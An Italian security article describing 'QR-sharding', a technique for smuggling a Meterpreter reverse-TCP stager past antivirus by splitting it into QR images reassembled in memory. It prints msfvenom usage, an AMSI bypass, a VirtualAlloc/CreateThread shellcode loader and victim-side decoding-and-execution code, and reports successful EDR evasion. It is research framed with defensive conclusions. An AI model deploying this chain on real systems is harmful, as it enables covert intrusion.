Red Hot Cyber
Sicurezza Informatica, Notizie su Cybercrime e Analisi Vulnerabilità
Cosa succede se il codice malevolo smette di essere testo e diventa un’immagine?
Abbiamo esplorato le potenzialità del QR-sharding, una tecnica che trasforma un payload in un puzzle di pixel apparentemente innocui.
 Cybersecurity Awareness efficace? Scopri BETTI RHC! Sei un'azienda innovativa, che crede nella diffusione di concetti attraverso metodi "non convenzionali"? Red hot cyber ha sviluppato da diversi anni una Graphic Novel (giunta al sesto episodio), l'unica nel suo genere nel mondo, che consente di formare i dipendenti sulla sicurezza informatica attraverso la lettura di un fumetto. Contattaci tramite WhatsApp al numero 375 593 1011 per saperne di più e richiedere informazioni oppure alla casella di posta graphicnovel@redhotcyber.com
Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì. |
Invece di inviare un file sospetto, abbiamo frammentato lo stager in una sequenza di QR Code: se per un antivirus sono solo immagini prive di logica, per un attaccante sono le tessere del mosaico di uno script PowerShell che sara’ ricomposto direttamente nella RAM del PC vittima.
Per comprendere la pericolosità di questo attacco, dobbiamo smettere di vedere il QR Code come un semplice link e iniziare a considerarlo per ciò che è: un database bidimensionale.
Capace di stoccare quasi 3KB di dati in una matrice di moduli bianchi e neri, il QR Code non contiene istruzioni leggibili da un processore finché un software/libreria non ne interpreta i pixel.
Per un sistema operativo, esso rimane una griglia inerte governata da algoritmi di correzione d’errore (Reed-Solomon). È proprio questa opacità visiva a generare il punto cieco perfetto per gli scanner di sicurezza, che analizzano i file ma ignorano il “linguaggio dei pixel”.
Mentre la cybersecurity ha finora focalizzato l’attenzione sul Quishing (QR Phishing) ovvero l’uso di codici per reindirizzare a pagine di login fraudolente o siti infetti stiamo assistendo a un’evoluzione silenziosa: il QR-to-Payload.
In questo scenario, il QR Code non è più un puntatore verso un server esterno, ma diventa il vettore di trasporto stesso.
L’attacco si divide in due fasi: la generazione (lato attaccante) e l’esecuzione/riassemblaggio (lato vittima).
Abbiamo eseguito un payload di metasploit con delle tecniche comunemente utilizzate (VirtualAlloc, CreateThread, e bypass AMSI).
L’esempio è disponibile al seguente link: GitHub – QR-Sharding
Uno script Python esegue un’operazione di “sharding” (frammentazione). Invece di un unico QR enorme e difficile da leggere, il payload viene diviso in “pezzi” più piccoli.
Con un QR Code Versione 40 livello M la capacità massima è di 2.331 byte (o 3.391 caratteri in modalità alfanumerica). Se il contenuto supera tali limiti, è necessario suddividerlo in più QR Code. Anche in presenza di dati prossimi al limite massimo, può essere opportuno suddividerli per garantire una migliore affidabilità di scansione, in funzione delle condizioni di stampa o visualizzazione.
Inoltre la codifica del payload in Base64 aggiunge un overhead del 33% (3 byte di dati diventano 4 caratteri di testo).
Abbiamo scelto una frammentazione a 400 caratteri per garantire un equilibrio perfetto tra densità dei dati e affidabilità del riconoscimento, riducendo i falsi negativi.
Generazione Shellcode: viene usato msfvenom per creare un Meterpreter reverse TCP.
res = subprocess.run([
"msfvenom", "-p", "windows/x64/meterpreter/reverse_tcp",
f"LHOST={lhost}", f"LPORT={lport}",
"EXITFUNC=thread", "-f", "raw"
], capture_output=True)
Iniezione Win32: il codice PowerShell generato utilizza VirtualAlloc e CreateThread. Queste sono chiamate API critiche che solitamente l’AMSI (Antimalware Scan Interface) monitora. lo script include un bypass (amsiInitFailed) per disabilitare il monitoraggio in tempo reale della sessione PowerShell.
logic_code = (
f'$a=[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils");'
'$a.GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true);'
'$z=@" \n'
'[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); \n'
'[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); \n'
'"@; $k=Add-Type -MemberDefinition $z -Name "Win32" -PassThru;'
f'$sc=[Convert]::FromBase64String("{sc_b64}");'
'$p=$k::VirtualAlloc(0,$sc.Length,0x3000,0x40);'
'[System.Runtime.InteropServices.Marshal]::Copy($sc,0,$p,$sc.Length);'
'$k::CreateThread(0,0,$p,0,0,0);'
).strip()
Frammentazione: il payload finale viene codificato in Base64 e diviso in blocchi da 400 caratteri, ognuno convertito in un file .png.
for i, chunk in enumerate(chunks):
qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_M, box_size=10, border=4)
qr.add_data(chunk)
qr.make_image().save(f"puzzle_step_{i+1}.png")
print(f"[+] Generato puzzle_step_{i+1}.png ({i+1}/{len(chunks)})")
In questo esempio abbiamo voluto eseguire inserirci il payload di meterpreter, ma potremmo inserire qualunque tipo di payload binario nella variabile res oppure direttamente codice ps1. Poi questa verrà convertita in Base64 e infine frammentata in molti QRCode.
Lo script seguente avviato sulla macchina vittima funge da “lettore e interprete”.
Cosa succede nel codice:
Download librerie: viene scaricata la libreria ZXing.Net (un lettore di codici a barre legittimo) direttamente dai repository NuGet. Questo è un comportamento che raramente allarma un EDR, poiché sembra un’attività di sviluppo software standard.
if (-not (Test-Path $dllPath)) {
Write-Host "Libreria non trovata. Inizio download..." -ForegroundColor Yellow
New-Item -ItemType Directory -Force -Path $libDir | Out-Null
# Download del pacchetto NuGet
Invoke-WebRequest -Uri $packageUrl -OutFile $zipPath
# Estrazione (NuGet è un file ZIP rinominato)
Expand-Archive -Path $zipPath -DestinationPath $libDir -Force
Remove-Item $zipPath
Write-Host "Libreria installata con successo!" -ForegroundColor Green
}
Add-Type -Path $dllPath
Add-Type -AssemblyName System.DrawingLibreria di decodifica d’immagine: lo script analizza l’immagine qrcode.png, estrae la stringa Base64 e la ricompone.
foreach ($file in $qrFiles) {
$stream = New-Object System.IO.FileStream($file.FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
$bitmap = [System.Drawing.Bitmap]::FromStream($stream)
$reader = New-Object ZXing.BarcodeReader
$result = $reader.Decode($bitmap)
$bitmap.Dispose(); $stream.Close()
if ($result) { $fullEncodedData += $result.Text.Trim(); Write-Host "[+] $($file.Name) OK" -ForegroundColor Green }
}Esecuzione in memoria: il comando finale viene eseguito tramite l’oggetto scriptblock.
$sb = [scriptblock]::Create($finalScript)
Il punto cruciale della ricerca è l’invisibilità. Ecco perché questa tecnica è così efficace:
| Caratteristica | Metodo Tradizionale (.exe / .ps1) | Metodo QR Code |
| Analisi Statica | L’AV scansiona il file in cerca di firme (es. stringhe di Meterpreter). | L’immagine è solo una matrice di pixel. Non esiste firma per “pixel casuali”. |
| Analisi Euristica | Rileva script PowerShell con stringhe sospette (es. VirtualAlloc). | Le stringhe sospette sono “criptate” visivamente nel QR e non esistono sul disco come testo. |
| Analisi di Rete | Il download di un file .exe viene bloccato. | Il download di un’immagine (.png) o di una libreria DLL legittima (ZXing) è considerato traffico sicuro. |
I test effettuati mostrano che gli EDR non hanno rilevato la minaccia nei QR Code né il payload ricostruito in memoria; l’unico intervento è avvenuto rilevando il tentativo di bypass dell’AMSI. Questo conferma che il vettore di trasporto è rimasto invisibile.
Sostituendo il payload con una semplice reverse shell (senza bypass AMSI esplicito), l’esecuzione è andata a buon fine senza blocchi.
L’analisi condotta evidenzia come il QR-sharding sia un metodo di evasione efficace, capace di aggirare i controlli statici basati sulle firme. Il limite principale dei sistemi di protezione attuali risiede nella categorizzazione dei file: finché un QR code viene trattato come una semplice matrice di pixel, rimarrà un vettore di trasporto privilegiato per dati potenzialmente ostili.
I test effettuati confermano che la barriera difensiva si sposta interamente sull’analisi comportamentale. Sebbene l’EDR possa bloccare le fasi finali dell’attacco (come il bypass dell’AMSI o l’iniezione dello shellcode), la fase di ricezione e ricomposizione del payload rimane silente. Questo scenario suggerisce che la difesa debba evolvere verso un monitoraggio più stretto dei processi che interpretano dati visivi per trasformarli in istruzioni operative.
Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.
